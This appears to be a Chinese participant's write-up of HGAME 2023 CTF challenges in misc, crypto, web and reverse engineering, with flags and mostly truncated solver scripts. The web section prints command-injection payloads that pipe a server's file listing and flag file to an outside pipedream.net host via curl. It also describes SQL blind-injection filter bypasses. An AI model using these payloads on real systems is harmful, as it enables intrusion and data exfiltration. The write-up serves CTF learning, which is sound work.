HGAME 2023 将于 1 月 5 日 20:00 正式开始,祝大家玩得开心 :-)
线上赛平台:https://hgame.vidar.club
请尽快注册,注册时请选择校外选手,注册将于 1 月 12 日 20:00 关闭
本次比赛的奖励事宜以及赛后沟通反馈以邮件为主,请各位使用真实的邮件地址
比赛奖金(针对校外榜):
第1名:1000Pwnhub金币
第2名:800Pwnhub金币
第3名:600Pwnhub金币
4-10名:300Pwnhub金币
补充说明:排行榜分数相同者,以先达到该分数的时间次序划定排名,每位获奖选手额外赠送 Pwnhub 邀请码一个
注意:
* 所有选手均以个人为单位参赛;
* 在解题过程中遇到瓶颈或困难可以私聊出题人
* 禁止所有破坏比赛公平公正的行为,如:散播或与其他人交换 Flag、解题思路,对平台、参赛者或其他人员进行攻击。违者分数作废并取消比赛资格。
* HGAME 线上赛分为四周,每周至官方wp发布前前禁止一切讨论本周题目以及公开自己 wp 的行为。在收集完成后会开放讨论,但仅能讨论已结束的题目。
* 每周比赛结束后本周前20名需提交wp到指定邮箱
本比赛最终解释权归 Vidar-Team 所有
Rank: 7
Misc
Tunnel
Just a very very very safe tunnel.
HINTS:
由于附件有问题分数下调至50分
16进制查看器,搜索 hgame
,有 hgame{ikev1_may_not_safe_aw987rtgh}
。
Crypto
ezDH
这大过年的,Bob给Alice发了什么消息呢
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31 from sage.all import *
from Crypto.Util.number import *
from secret import Alice_secret, Bob_secret, FLAG
import random
f = open('output', 'w')
N=0x2be227c3c0e997310bc6dad4ccfeec793dca4359aef966217a88a27da31ffbcd6bb271780d8ba89e3cf202904efde03c59fef3e362b12e5af5afe8431cde31888211d72cc1a00f7c92cb6adb17ca909c3b84fcad66ac3be724fbcbe13d83bbd3ad50c41a79fcdf04c251be61c0749ea497e65e408dac4bbcb3148db4ad9ca0aa4ee032f2a4d6e6482093aa7133e5b1800001
g = 2
A = power_mod(g, Alice_secret, N)
f.write("Alice send to Bob: {{ 'g': {g}, 'A': {A} }}\n".format(g=g, A=hex(A)))
B = power_mod(g, Bob_secret, N)
f.write("Bob send to Alice: {{'B': {B} }}\n".format(B=hex(B)))
shared_secret = pow(A, Bob_secret, N)
p=6864797660130609714981900799081393217269435300143305409394463459185543183397656052122559640661454554977296311391480858037121987999716643812574028291115057151
a=-3
b=1093849038073734274511112390766805569936207598951683748994586394495953116150735016013708737573759623248592132296706313309438452531591012912142327488478985984
E = EllipticCurve(GF(p), [a, b])
G = E.random_point()
Pa = shared_secret * G
f.write(f"Alice send to Bob: {{ 'E': {E}, 'G': {G.xy()}, 'Pa': {Pa.xy()} }}\n")
k = random.randint(2, p)
m = E.lift_x(Integer(bytes_to_long(FLAG)))
P1 = k * G
P2 = k * Pa
c = m + P2
f.write(f"Bob send to Alice: {{ {P1.xy()}, {c.xy()} }}\n")
$N$ 为质数,$N-1$ 足够光滑,DLP易求,再利用 $c=m+P_2=m+kP_a=m+ksG=m+sP_1$,代入 $c,s,P_1$ 求得 $m$。
1 | N = 0x2be227c3c0e997310bc6dad4ccfeec793dca4359aef966217a88a27da31ffbcd6bb271780d8ba89e3cf202904efde03c59fef3e362b12e5af5afe8431cde31888211d72cc1a00f7c92cb6adb17ca909c3b84fcad66ac3be724fbcbe13d83bbd3ad50c41a79fcdf04c251be61c0749ea497e65e408dac4bbcb3148db4ad9ca0aa4ee032f2a4d6e6482093aa7133e5b1800001 |
RSA 大冒险2
好耶,又是大冒险!
HINTS:
Challenge 3: p泄漏的位数不够多,导致coppersmith方法解不出来,那么有没有什么办法能够扩大coppersmith的界呢?注意coppersmith方法使用了LLL算法,那么这个界和格基又有什么关系呢?
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39 # challenge1.py
from Crypto.Util.number import *
from math import isqrt
from challenges import chall1_secret
class RSAServe:
def __init__(self) -> None:
def create_keypair(size):
while True:
p = getPrime(size // 2)
q = getPrime(size // 2)
if q < p < 2*q:
break
N = p*q
phi = (p-1)*(q-1)
max_d = isqrt(isqrt(N)) // 3
max_d_bits = max_d.bit_length() - 1
while True:
d = getRandomNBitInteger(max_d_bits)
try:
e = int(inverse(d, phi))
except ZeroDivisionError:
continue
if (e * d) % phi == 1:
break
return N, e, d
self.N, self.e, self.d = create_keypair(1024)
self.m = chall1_secret
def encrypt(self):
m_ = bytes_to_long(self.m)
c = pow(m_ ,self.e, self.N)
return hex(c)
def check(self, msg):
return msg == self.m
def pubkey(self):
return {"N":self.N, "e":self.e}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37 # challenge2.py
from Crypto.Util.number import *
from challenges import chall2_secret
def next_prime(p):
k=1
while True:
if isPrime(p+k):
return p+k
k+=1
class RSAServe:
def __init__(self) -> None:
def creat_keypair(nbits, beta):
p = getPrime(nbits // 2)
q = next_prime(p+getRandomNBitInteger(int(nbits*beta)))
N = p*q
phi = (p-1)*(q-1)
while True:
e = getRandomNBitInteger(16)
if GCD(e, phi) == 2:
break
d = inverse(e, phi)
return N, e, d
self.N, self.e, self.d = creat_keypair(1024, 0.25)
self.m = chall2_secret
def encrypt(self):
m_ = bytes_to_long(self.m)
c = pow(m_, self.e, self.N)
return hex(c)
def check(self, msg):
return msg == self.m
def pubkey(self):
return {"N":self.N, "e":self.e}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28 # challenge3.py
from Crypto.Util.number import *
from challenges import chall3_secret
class RSAServe:
def __init__(self) -> None:
def create_keypair(nbits):
p = getPrime(nbits // 2)
q = getPrime(nbits // 2)
N = p*q
phi = (p-1)*(q-1)
e = 65537
d = inverse(e, phi)
leak = p >> 253
return N, e, d, leak
self.N, self.e, self.d, self.leak = create_keypair(1024)
self.m = chall3_secret
def encrypt(self):
m_ = bytes_to_long(self.m)
c = pow(m_, self.e, self.N)
return hex(c)
def check(self, msg):
return msg == self.m
def pubkey(self):
return {"N":self.N, "e":self.e, "leak":self.leak}
求解三层RSA拿flag。
第一层,$q<p<2q,d<\cfrac{1}{3}N^{\frac{1}{4}}$,满足Wiener Attack条件。
1 | def factor_rsa_wiener(N, e): |
第二层,已知 $p$ 高位攻击+ $\gcd(e,\varphi)=2$ 情形,coppersmith+AMM算法。
1 | import gmpy2 |
第三层,已知 $p$ 高位攻击,但泄露位数过少,位爆破+调节参数扩大格范围。
1 | from tqdm import * |
三次提交正确得flag:hgame{U_mus7_b3_RS4_M@ster!!!}
。
ezBlock
兔兔拜年的时候遇到了 yolande ,yolande 说她之前在写差分攻击脚本,问兔兔要不要学习一下,还说如果遇到问题可以看看 The Block Cipher Companion.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34 from secret import flag
def s_substitute(m):
c = 0
s_box = {0: 0x6, 1: 0x4, 2: 0xc, 3: 0x5, 4: 0x0, 5: 0x7, 6: 0x2, 7: 0xe, 8: 0x1, 9: 0xf, 10: 0x3, 11: 0xd, 12: 0x8,
13: 0xa, 14: 0x9, 15: 0xb}
for i in range(0, 16, 4):
t = (m >> i) & 0xf
t = s_box[t]
c += t << i
return c
def enc(m, key):
n = len(key)
t = m
for i in range(n - 1):
t = t ^ key[i]
t = s_substitute(t)
c = t ^ key[n - 1]
return c
f = flag[6:-1]
assert flag == 'hgame{' + f + '}'
key = [int(i, 16) for i in f.split('_')]
print(len(key))
m_list = [i * 0x1111 for i in range(16)]
c_list = [enc(m, key) for m in m_list]
print(c_list)
# 5
# [28590, 33943, 30267, 5412, 11529, 3089, 46924, 59533, 12915, 37743, 64090, 53680, 18933, 49378, 23512, 44742]
正常考点应该是四轮S盒差分攻击,xxxx_xxxx_xxxx_xxxx_xxxx
分割得到5组key,测试发现5组key的每4位(每1个16进制数)为一组作为输入,得到的输出是固定不变的,采用爆破方式可解,所需遍历次数为 $4 \cdot 16^5=4194304$。
1 | from tqdm import * |
Web
Ping To The Host
一个用来输入ip的ping工具,我可以用它来做些什么?
无回显命令注入,外带即可。空格使用 $IFS$9
绕过。
列目录:ip=x|curl$IFS$9https://enm8badfmuo0f.x.pipedream.net/?p=`ls$IFS$9/|base64`
,得到flag文件名为 flag_is_here_haha
;
读文件:ip=x|curl$IFS$9https://enm8badfmuo0f.x.pipedream.net/?p=`uniq$IFS$9/f*|base64`
,得到 aGdhbWV7cDFuR190MF9Db21NNG5EX0V4ZWNVdDFvbl9kQW5nRXJSclJyUnJSIX0K
,base64解码得 hgame{p1nG_t0_ComM4nD_ExecUt1on_dAngErRrRrRrR!}
。
Login To Get My Gift
R1esbyfe:“想必你上周已经找到了我留给你的惊喜,这次我又藏了一个”
兔兔想起了上周R1esbyfe学长教的sql基础知识与运用方法,是时候将他们派上用场了
R1esbyfe:“给你个用户名为testuser,密码为testpassword的test账户吧,不过只有真正的管理员才能得到惊喜:D 别想了,管理员用户名可不是admin”
After login, you can visit:
/index -> Only for test users
/home -> Only for admin users
fuzz测试,发现过滤了空格、等号、substr、mid等,等号用 regexp
绕过,substr()
用 right(left())
绕过来取字符。布尔盲注:
1 | import requests |
分别得到:
1 | database: L0g1NMe |
使用账密 WeLc0meT0hgAmE2023/hAPPySqlhgAmE2023HAppYnEwyEAr
登录,得flag:hgame{It_1s_1n7EresT1nG_T0_ExPL0Re_Var10us_Ways_To_Sql1njEct1on}
。
Gopher Shop
今天是大年初二!兔兔迈着开心的步伐走到了一教,据说每逢寒假HGAME期间,300b就会有Vidar大商场,每个进入商场的同学都可以领取10个Vidar币。兔兔在一家叫Gopher Shop的商店面前停下了脚步,Gopher?听说协会的Web手们都会一点Go,也许这是协会学长开的吧。望着橱窗里的商品,攥着手里的10个Vidar币,兔兔走进了商店…
在 /buyProduct
路由处利用竞争买flag。
1 | import requests |
最后点击checkflag得到flag:hgame{GopherShop_M@gic_1nt_0verflow}
。
Reverse
kunmusic
小黑子,露出鸡脚了吧?
kmusic.dll为.NET程序,ILSpy打开,在 Program
类找到类似SMC反调试的异或操作:
1 | using System; |
在资源部分找到 Resources.data
,导出,异或104还原出另一个.NET程序,在 Class1
类中找到关键逻辑:
1 | using System; |
提取判断条件,用z3求解:
1 | from z3 import * |
patchme
不会pwn的re手不是一个好CTFer!游戏规则:修复程序中的二进制安全漏洞,要求能严格执行原程序的正常功能且不变动文件大小,如果修复成功,在运行后输入任何内容即可输出flag。附件更新,增加部分源码以作提示:https://share.weiyun.com/Kj85naWl
在 init()
中调用 sub_1887()
,而 sub_1887()
里对 loc_14C6
区域的数据进行异或 0x66
操作,类似于SMC反调试,用IDA代码还原:
1 | static main() |
在 0x14CA
处按P识别为函数 sub_14CA()
,看到主要逻辑为字符两两异或操作,还原即可:
1 | from Crypto.Util.number import * |
cpp
C++是一门非常好的语言,他好就好在了逆向比较难😜
去了符号,IDA分析伪码很难看,分析主要加密逻辑在 sub_1400026A0()
,vftable中分别有 encrypt1
和 encrypt2
,对应的函数表:
1 | encrypt1 |
encrypt1
中 sub_140001600()
为异或操作,encrypt2
中一系列操作为加密运算+最后比对密文。
输入测试数据,在最后的密文比对函数 sub_140003080()
下断点,动调提取出测试数据对应的加密结果以及异或操作的key值,根据key值和明密文来确定异或计算逻辑为,每4位密文反向异或每4位key值。
最后用实际密文与key异或操作还原明文:
1 | key = [ |